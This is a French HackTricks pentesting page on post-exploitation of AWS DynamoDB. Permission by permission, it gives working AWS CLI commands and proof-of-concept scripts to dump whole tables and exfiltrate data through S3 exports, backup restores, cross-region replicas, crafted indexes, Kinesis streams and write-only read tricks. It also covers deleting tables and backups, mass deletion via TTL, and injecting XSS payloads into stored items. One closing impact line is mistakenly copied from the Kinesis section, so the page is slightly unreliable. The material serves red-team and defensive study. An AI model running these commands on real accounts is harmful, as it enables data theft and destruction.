AWS - DynamoDB Post Exploitation

Reading time: 19 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

DynamoDB

Pour plus d'informations, voir :

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaquant disposant de ces permissions pourra obtenir des éléments des tables par la clé primaire (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (describe-table)).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:GetItem

Similaire aux autorisations précédentes celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Avec cette autorisation, il est également possible d'utiliser la méthode transact-get-items comme :

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:Query

Similaire aux autorisations précédentes celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un sous-ensemble de comparaisons, mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB dans une requête.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impact potentiel : privesc indirect en localisant des informations sensibles dans la table

dynamodb:Scan

Vous pouvez utiliser cette permission pour dump facilement toute la table.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:PartiQLSelect

Vous pouvez utiliser cette permission pour dump facilement l'intégralité de la table.

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Cette autorisation permet également d'exécuter batch-execute-statement comme :

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.

Impact potentiel : privesc indirect en localisant des informations sensibles dans la table

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Cette permission permettra à un attaquant de exporter l'intégralité de la table vers un S3 bucket de son choix:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Remarque : pour que cela fonctionne, la table doit avoir point-in-time-recovery activé. Vous pouvez vérifier si la table l'a avec :

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

S'il n'est pas activé, vous devrez l'activer et pour cela vous avez besoin de l'autorisation dynamodb:ExportTableToPointInTime:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Avec ces permissions, un attaquant pourrait créer une nouvelle table à partir d'une sauvegarde (ou même créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter des informations depuis les sauvegardes qui ne pourraient plus se trouver dans la table de production.

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la sauvegarde de la table

dynamodb:PutItem

Cette permission permet aux utilisateurs d'ajouter un nouvel élément à la table ou de remplacer un élément existant par un nouvel élément. Si un élément ayant la même clé primaire existe déjà, l'ensemble de l'élément sera remplacé par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera créé.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:UpdateItem

Cette permission permet aux utilisateurs de modifier les attributs existants d'un item ou d'ajouter de nouveaux attributs à un item. Elle ne remplace pas l'ensemble de l'item ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération créera un nouvel item avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:DeleteTable

Un attaquant disposant de cette autorisation peut supprimer une table DynamoDB, entraînant une perte de données.

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impact potentiel : Perte de données et interruption des services dépendant de la table supprimée.

dynamodb:DeleteBackup

Un attaquant disposant de cette permission peut supprimer une sauvegarde DynamoDB, entraînant potentiellement une perte de données en cas de scénario de reprise après sinistre.

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impact potentiel: Perte de données et impossibilité de restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO : Tester si cela fonctionne réellement

Un attaquant disposant de ces permissions peut activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à streamer les changements, puis accéder au stream pour surveiller les changements de la table en temps réel. Cela permet à l'attaquant de surveiller et d'exfiltrate les changements de données, pouvant mener à data leakage.

  1. Activer un stream sur une table DynamoDB :
bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Décrire le flux pour obtenir l'ARN et d'autres détails :
bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtenez le shard iterator en utilisant le stream ARN :
bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utilisez le shard iterator pour accéder et exfiltrate des données du stream:
bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impact potentiel : Surveillance en temps réel et data leakage des changements de la table DynamoDB.

Lire des éléments via dynamodb:UpdateItem and ReturnValues=ALL_OLD

Un attaquant disposant uniquement de dynamodb:UpdateItem sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (GetItem/Query/Scan) en effectuant une mise à jour bénigne et en demandant --return-values ALL_OLD. DynamoDB renverra l'image complète de l'élément avant la mise à jour dans le champ Attributes de la réponse (cela ne consomme pas de RCUs).

  • Permissions minimales : dynamodb:UpdateItem sur la table/clé cible.
  • Prérequis : Vous devez connaître la clé primaire de l'élément.

Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse) :

bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

La réponse CLI inclura un bloc Attributes contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule.

Impact potentiel : Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.

bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Permissions : dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact : Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.

dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Un attacker disposant de transactional write privileges peut exfiltrate les attributs complets d'un item existant en effectuant un Update dans TransactWriteItems qui échoue intentionnellement une ConditionExpression tout en définissant ReturnValuesOnConditionCheckFailure=ALL_OLD. En cas d'échec, DynamoDB inclut les attributs antérieurs dans les transaction cancellation reasons, transformant ainsi un accès write-only en accès read des keys ciblées.

bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Autorisations : dynamodb:TransactWriteItems sur la table cible (et l'item sous-jacent). Aucune autorisation de lecture n'est requise.

Impact potentiel : lire des items arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle, via les raisons d'annulation renvoyées.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec ProjectionType=ALL sur un attribut à faible entropie, en définissant cet attribut sur une valeur constante pour tous les items, puis en utilisant Query sur l'index pour récupérer les items complets. Cela fonctionne même si Query/Scan sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.

  • Autorisations minimales :
  • dynamodb:UpdateTable sur la table cible (pour créer le GSI avec ProjectionType=ALL).
  • dynamodb:UpdateItem sur les clés de la table cible (pour définir l'attribut indexé sur chaque item).
  • dynamodb:Query sur l'ARN de la ressource d'index (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Étapes (PoC in us-east-1):

bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Impact potentiel : Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table principale sont refusées.

dynamodb:EnableKinesisStreamingDestination (Exfiltration en continu via Kinesis Data Streams)

Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au stream sans nécessiter de permissions de lecture sur la table.

Permissions minimales (attaquant) :

  • dynamodb:EnableKinesisStreamingDestination sur la table cible
  • Optionnellement dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable pour surveiller le statut
  • Permissions de lecture sur le stream Kinesis contrôlé par l'attaquant pour consommer les enregistrements : kinesis:*
PoC (us-east-1)
bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}

# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

dynamodb:UpdateTimeToLive

Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou désactiver le TTL. Lorsque le TTL est activé, les éléments individuels contenant l'attribut TTL configuré seront automatiquement supprimés dès que leur date d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque élément ; les éléments sans cet attribut ne sont pas affectés par la suppression basée sur le TTL.

Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait également besoin d'une permission de mise à jour des éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et provoquer des suppressions massives.

Commencez par activer le TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :

bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Ensuite, mettez à jour les éléments pour ajouter l'attribut TTL (secondes depuis l'époque Unix) afin qu'ils expirent et soient supprimés :

bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Un attaquant disposant des permissions dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime peut créer de nouvelles tables restaurées à partir de sauvegardes ou de la récupération point-in-time (PITR) sans écraser la table d'origine. La table restaurée contient une image complète des données au point sélectionné, donc l'attaquant peut l'utiliser pour exfiltrate des informations historiques ou obtenir un dump complet de l'état passé de la base de données.

Restaurer une table DynamoDB à partir d'une sauvegarde à la demande:

bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Restaurer une table DynamoDB à un point dans le temps (créer une nouvelle table avec l'état restauré) :

bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Impact potentiel : Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks